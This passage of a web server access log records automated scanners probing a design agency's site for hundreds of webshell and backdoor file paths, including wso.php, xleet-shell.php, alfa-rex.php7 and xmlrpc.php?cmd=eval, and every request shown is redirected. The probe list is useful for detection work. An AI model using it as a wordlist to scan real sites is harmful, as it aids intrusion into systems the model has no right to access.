/wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:01 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:04 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:12 -0400] "GET /wp-mail.php/wp-includes/ID3/class-config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:16 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:20 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:23 -0400] "GET /wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:27 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:30 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:33 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:35 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:37 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:40 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:42 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:46 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:47 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:49 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:51 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:53 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:55 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:57 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:10:59 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:00 -0400] "GET /ws.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:01 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:03 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:06 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:10 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:12 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:14 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:16 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:19 -0400] "GET /x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:21 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:23 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:25 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:27 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:29 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:32 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:33 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:34 -0400] "GET /xmlrpc.php?cmd=eval HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:35 -0400] "GET /xmlrpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:37 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:38 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:39 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:42 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:44 -0400] "GET /y7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:46 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:49 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:52 -0400] "GET /yq7.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:53 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:55 -0400] "GET /z63.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:58 -0400] "GET /zT.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:11:59 -0400] "GET /zqBSIrn38Ja.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:12:01 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:22:12:03 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 35.197.59.242 - - [19/Apr/2025:22:32:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.4; rv:124.0) Gecko/20100101 Firefox/124.0" 103.77.107.199 - - [19/Apr/2025:22:41:51 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 34.168.239.122 - - [19/Apr/2025:22:58:39 -0400] "GET /category/packaging-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 34.168.239.122 - - [19/Apr/2025:23:08:01 -0400] "GET /category/product-photography HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 34.82.40.188 - - [19/Apr/2025:23:19:39 -0400] "GET /category/digital-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 212.34.155.126 - - [19/Apr/2025:23:37:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 34.83.41.56 - - [19/Apr/2025:23:42:26 -0400] "GET /blog/logo-design-monogram-design/what-is-logo-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 52.163.240.250 - - [19/Apr/2025:23:43:07 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:13 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:15 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:16 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:19 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:21 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:23 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:25 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:26 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:26 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:29 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:31 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:35 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:38 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:41 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:43 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:45 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:48 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:51 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:54 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:43:56 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:00 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:03 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:06 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:09 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:15 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:18 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:23 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:27 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:30 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 35.233.210.142 - - [19/Apr/2025:23:44:32 -0400] "GET /dash/upload/design_agency_portfolio_02122019134444.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 52.163.240.250 - - [19/Apr/2025:23:44:32 -0400] "GET /wp-includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:36 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:41 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:44 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:47 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:49 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:54 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:44:57 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:01 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:05 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:13 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:18 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:25 -0400] "GET /wp-content/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:29 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:33 -0400] "GET /cgi-bin/404.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:37 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:39 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:41 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:42 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:44 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:46 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:48 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:50 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:53 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:45:57 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:00 -0400] "GET /.well-known/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:04 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:07 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:11 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:14 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:18 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:21 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:24 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:27 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:28 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:30 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:32 -0400] "GET /wp-includes/system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:33 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:35 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:37 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:39 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:42 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:45 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:47 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:48 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:51 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:55 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:56 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:46:58 -0400] "GET /wp-admin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:02 -0400] "GET /wp-content/themes/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:04 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:06 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:07 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:09 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:12 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:14 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:16 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:19 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:21 -0400] "GET /wp-content/upgrade/function.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:23 -0400] "GET /wp-admin/user/themes.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:26 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:29 -0400] "GET /wp-admin/css/license.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:33 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:35 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:37 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:42 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:45 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:47 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:49 -0400] "GET /.well-known/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:51 -0400] "GET /wp-content/plugins/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:53 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:47:58 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:01 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:03 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:06 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:08 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:12 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:16 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:18 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:21 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:23 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:24 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:27 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:29 -0400] "GET /wp-admin/license.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:30 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:33 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:34 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:37 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:39 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:40 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:42 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:45 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:47 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:48 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:50 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:51 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:54 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:48:57 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:00 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:02 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:05 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:06 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:08 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:10 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:10 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:12 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:13 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:15 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:18 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:21 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:22 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:26 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:29 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:31 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:33 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:37 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:41 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:43 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:44 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:46 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:46 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:47 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:48 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:50 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:52 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:53 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:54 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:55 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:57 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:49:59 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:01 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:03 -0400] "GET 